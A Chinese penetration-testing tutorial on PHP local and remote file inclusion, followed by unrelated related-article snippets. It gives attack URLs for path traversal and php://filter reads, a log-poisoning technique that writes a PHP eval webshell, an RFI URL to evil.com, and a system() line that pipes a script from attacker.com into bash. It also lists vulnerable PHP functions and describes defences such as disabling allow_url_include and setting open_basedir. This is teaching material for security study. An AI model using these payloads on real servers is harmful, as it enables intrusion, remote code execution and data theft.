渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录
说明
通常分为两种类型:
本地文件包含
典型的攻击方式1:
影响:
典型的攻击方式2:
包含路径解释:
日志包含漏洞:
操作原理
包含漏洞读取文件
文件包含漏洞远程代码执行漏洞:
远程文件包含
典型的攻击方式:
影响:
文件包含漏洞的根本原因
语言包含漏洞
PHP文件包含漏洞函数
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
2. include_once() 和 require_once()
3. fopen() 和 fread()
4. file_get_contents()
5. readfile()
6. highlight_file()
7. fpassthru()
总结
防御措施
输入验证与过滤:
禁用远程文件包含:
使用绝对路径:
文件包含路径限制:
日志记录与监控:
代码审计与渗透测试:
总结

说明
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为
通常分为两种类型:
- 本地文件包含(LFI)
- 远程文件包含(RFI)
本地文件包含
- LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件
攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
典型的攻击方式1:
- 攻击者通过修改 URL 参数来试图包含本地文件
- 例如:
http://example.com/index.php?page=../../../../etc/passwd
- 在这个例子中
攻击者试图通过“
../../../../etc/passwd”来访问服务器上的/etc/passwd文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。
影响:
- 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
- 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
- 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。
典型的攻击方式2:

- 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>
这种代码会根据用户传入的page参数来包含文件。
包含路径解释:
-
绝对路径包含
-
相对路径包含
-
文件穿越漏洞
-
包含一些图片吗进行控制 包含敏感文件读取出来
-
远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。
-
直接引用别人得网站得图片 前提是看别人开启了相关参数没。
日志包含漏洞:
- 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
- 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。
操作原理
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.
这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。
apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置
其实这种方式就是把木马直接写入到日志文件中.
在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了
蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问
1浏览器日志 记录可能会编译成url编码
2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。
- 记录下php得一句话木马程序写法
- 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
- <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
- 数据存在于存在与执行得目录中 jaden.php
- 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集

包含漏洞读取文件
读取php文件 包含就能读取:
-
采用得是file:///协议
-
读取php文件不想执行
-
Php:/// 读取文件 指定php协议来读取协议
-
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php
-
以base64得数据格式进行读取出来
-
- 通过文件包含漏洞利用
file://伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。- 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如
/etc/passwd或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。- file:///etc/passwd
文件包含漏洞远程代码执行漏洞:
- 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
- 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
- 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
-
服务端存在包含漏洞
-
也就是通过include(php://input) 进行执行而不是用文件进行执行
-
执行得命令
-
Php://input 执行过程
<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>

远程文件包含
- RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站
通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。
典型的攻击方式:
- 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
- 在这个例子中
- 攻击者试图加载并执行远程服务器上的
malicious_script.php文件- 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
- 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。
影响:
- 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
- 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
- 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。
文件包含漏洞的根本原因
- 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
- 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
- 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如
include,require,fopen等)。
语言包含漏洞
-
包含操作,在大多数Web语言中都会提供的功能
-
但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状
-
很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.
-
公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件
-
Import-python 也就是代码漏洞
-
针对不同的语言 比如说 go php java python 也就是对应相关的函数
PHP文件包含漏洞函数
- PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
功能:
include()和require()用于将文件引入当前 PHP 文件并执行。include()在文件不可用时会发出警告(warning)- 而
require()会发出致命错误(fatal error)并停止执行。
安全隐患:
include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'
如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(
../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。
2. include_once() 和 require_once()
功能:
- 与
include()和require()相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。
安全隐患:
- 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。
3. fopen() 和 fread()
功能:
fopen()打开文件,fread()读取文件内容,通常用于读取文本或二进制文件内容。
安全隐患:
$file = fopen($_GET['file'], "r"); // 如果未验证,攻击者可以操控路径读取文件
- 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。
4. file_get_contents()
功能:
file_get_contents() 用于读取文件内容并将其作为字符串返回。
安全隐患:
$content = file_get_contents($_GET['file']);
如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。
5. readfile()
功能:
readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。
安全隐患:
readfile($_GET['file']);
攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。
6. highlight_file()
功能:
highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。
安全隐患:
highlight_file($_GET['file']);
如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。
7. fpassthru()
功能:
fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。
安全隐患:
$file = fopen($_GET['file'], "r");
fpassthru($file);
与
fread()和file_get_contents()类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。
总结
PHP 中的文件包含函数(如 include()、require()、fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:
- 严格控制文件路径参数的来源和内容;
- 禁用不必要的功能(如远程文件包含);
- 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。
防御措施
-
输入验证与过滤:
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
../)的输入。 - 使用白名单机制,限制只能包含特定目录下的文件。
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
-
禁用远程文件包含:
- 在 PHP 中,禁用
allow_url_include和allow_url_fopen,防止包含远程文件。 - 设置
open_basedir,限制 PHP 程序只能访问特定目录下的文件。
- 在 PHP 中,禁用
-
使用绝对路径:
- 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
-
文件包含路径限制:
- 使用
basename()或类似的函数确保包含的文件不会遍历目录结构。 - 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
- 使用
-
日志记录与监控:
- 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
- 设置警报机制,及时发现潜在的文件包含攻击。
-
代码审计与渗透测试:
- 定期进行代码审计,检查可能存在文件包含漏洞的地方。
- 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。
总结
文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关文章:
渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录 说明 通常分为两种类型: 本地文件包含 典型的攻击方式1: 影响: 典型的攻击方式2: 包含路径解释: 日志包含漏洞: 操作原理 包含漏洞读取文件 文件包含漏洞远程代码执行漏洞: 远程文件包含…...
Java 大视界 -- Java 大数据在智能医疗影像诊断中的应用(72)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也期待你毫无保留地分享独特见解,愿我们于此携手成长,共赴新程!💖 一、…...
Web - CSS3浮动定位与背景样式
概述 这篇文章主要介绍了 CSS3 中的浮动定位、背景样式、变形效果等内容。包括 BFC 规范与创建方法、浮动的功能与使用要点、定位的多种方式及特点、边框与圆角的设置、背景的颜色、图片等属性、多种变形效果及 3D 旋转等,还提到了浏览器私有前缀。 BFC规范与浏览…...
ConcurrentHashMap线程安全:分段锁 到 synchronized + CAS
专栏系列文章地址:https://blog.csdn.net/qq_26437925/article/details/145290162 本文目标: 理解ConcurrentHashMap为什么线程安全;ConcurrentHashMap的具体细节还需要进一步研究 目录 ConcurrentHashMap介绍JDK7的分段锁实现JDK8的synchr…...
系统学习算法:专题九 穷举vs暴搜vs深搜vs回溯vs剪枝
其中标题的深搜,回溯,剪枝我们之前专题都已经有过学习和了解,这里多了两个穷举和暴搜,其实意思都差不多,穷举就是穷尽力气将所有情况都列举出来,暴搜就是暴力地去一个一个情况搜索,所以就是全部…...
解决 Pandas DataFrame 索引错误:KeyError:0
在使用 Pandas 处理数据时,KeyError 是一个常见的问题,尤其是在尝试通过索引访问数据时。本文将通过一个实际案例(使用SKLearn中的MINIST数据集为例),详细分析 KeyError 的原因,并提供解决方法。 1 问题背…...
deepseek的对话风格
概述 deepseek的对话风格,比一般的模型的回答多了思考过程,这是它比较可爱的地方,模型的回答有了思考过程,对用户而言大模型的回答不完全是一个黑盒。 deepseek的对话风格 train_prompt_style """Below is an…...
制造业设备状态监控与生产优化实战:基于SQL的序列分析与状态机建模
目录 1. 背景与挑战 2. 数据建模与采集 2.1 数据表设计 设备状态表(记录设备实时状态变更)...
Javaweb学习之Mysql(Day5)
(一)Mysql概述 (1)MYSQL通用语法 SQL语句可以单行或多行书写,以分号结尾。 SQL语句可以使用空格/缩进来增强语句的可读性(即,空格和缩进不影响代码的执行)。 MySQL数据库的SQL语句不区分大小写。 注释: 1. 单行注释: -- 注释内容 或 # 注释内容 (MySQL 特有 …...
C++ Primer 迭代器
欢迎阅读我的 【CPrimer】专栏 专栏简介:本专栏主要面向C初学者,解释C的一些基本概念和基础语言特性,涉及C标准库的用法,面向对象特性,泛型特性高级用法。通过使用标准库中定义的抽象设施,使你更加适应高级…...
Java的String与StringBuilder例题
package com.jiachen.StringBuilderDemo1;import java.util.Scanner;public class Exercise2 {public static void main(String[] args) {Scanner scanner new Scanner(System.in);String s scanner.nextLine().trim(); // 读取输入并去除前后空格String result;// 根据…...
Vue.js 如何选择合适的组件库
Vue.js 如何选择合适的组件库 大家在开发 Vue.js 项目的时候,都会面临一个问题:我该选择哪个组件库? 市面上有很多优秀的 Vue 组件库,比如 Element Plus、Vuetify、Quasar 等,它们各有特点。选择合适的组件库…...
github下载失败网页打开失败 若你已经知道github地址如何cmd下载
直接打开命令行: winr cmd 输入:git clone 地址 eg:git clone https://github.com/akospasztor/stm32f103-dfu-bootloader...
排序算法--计数排序
统计每个元素出现的次数,直接计算元素在有序序列中的位置,要求数据是整数且范围有限。适用于数据为小范围整数(如年龄、成绩),数据重复率较高时效率更优。可用于小范围整数排序、基数排序的底层排序(作为基数排序的稳定…...
[特殊字符]const在函数前后的作用详解(附经典案例)
理解const在函数前后的位置差异,是掌握C精髓的重要一步。下面用几个超形象的例子,带你彻底搞懂这个知识点! 情况1:const在函数后面(成员函数限定符) 作用:承诺这个成员函数不会修改对象的状态&…...
【字节青训营-7】:初探 Kitex 字节微服务框架(使用ETCD进行服务注册与发现)
本文目录 一、Kitex概述二、第一个Kitex应用三、IDL四、服务注册与发现 一、Kitex概述 长话短说,就是字节跳动内部的 Golang 微服务 RPC 框架,具有高性能、强可扩展的特点,在字节内部已广泛使用。 如果对微服务性能有要求,又希望…...
给AI用工具的能力——Agent
ReAct框架: Reason Action,推理与行动结合 可以借助思维链,用小样本提示展示给模型一个ReAct框架 推理:针对问题或上一步观察的思考 行动:基于推理,与外部环境的一些交互(调用外部工具&…...
Jupyter Lab的使用
Lab与Notebook的区别: Jupyter Lab和Jupyter notebook有什么区别,这里找到一篇博客不过我没细看, Jupyter Lab和Jupyter Notebook的区别 - codersgl - 博客园 使用起来Lab就是一个更齐全、功能更高级的notebook, 启用滚动输出: 有时候一个…...
【从零开始的LeetCode-算法】922. 按奇偶排序数组 II
给定一个非负整数数组 nums, nums 中一半整数是 奇数 ,一半整数是 偶数 。 对数组进行排序,以便当 nums[i] 为奇数时,i 也是 奇数 ;当 nums[i] 为偶数时, i 也是 偶数 。 你可以返回 任何满足上述条件的…...
RabbitMQ深度探索:前置知识
消息中间件: 消息中间件基于队列模式实现异步 / 同步传输数据作用:可以实现支撑高并发、异步解耦、流量削峰、降低耦合 传统的 HTTP 请求存在的缺点: HTTP 请求基于响应的模型,在高并发的情况下,客户端发送大量的请求…...
从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路
进入2025年以来,尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断,但全球市场热度依然高涨,入局者持续增加。 以国内市场为例,天眼查专业版数据显示,截至5月底,我国现存在业、存续状态的机器人相关企…...
Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用
文章目录 一、背景知识:什么是 B-Tree 和 BTree? B-Tree(平衡多路查找树) BTree(B-Tree 的变种) 二、结构对比:一张图看懂 三、为什么 MySQL InnoDB 选择 BTree? 1. 范围查询更快 2…...
苹果AI眼镜:从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会
在2025年的AI硬件浪潮中,苹果AI眼镜(Apple Glasses)正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch,而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠,而在于如何通过形态设计打破社交壁垒,成为用户“全天佩戴…...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
二维FDTD算法仿真
二维FDTD算法仿真,并带完全匹配层,输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...
【若依】框架项目部署笔记
参考【SpringBoot】【Vue】项目部署_no main manifest attribute, in springboot-0.0.1-sn-CSDN博客 多一个redis安装 准备工作: 压缩包下载:http://download.redis.io/releases 1. 上传压缩包,并进入压缩包所在目录,解压到目标…...

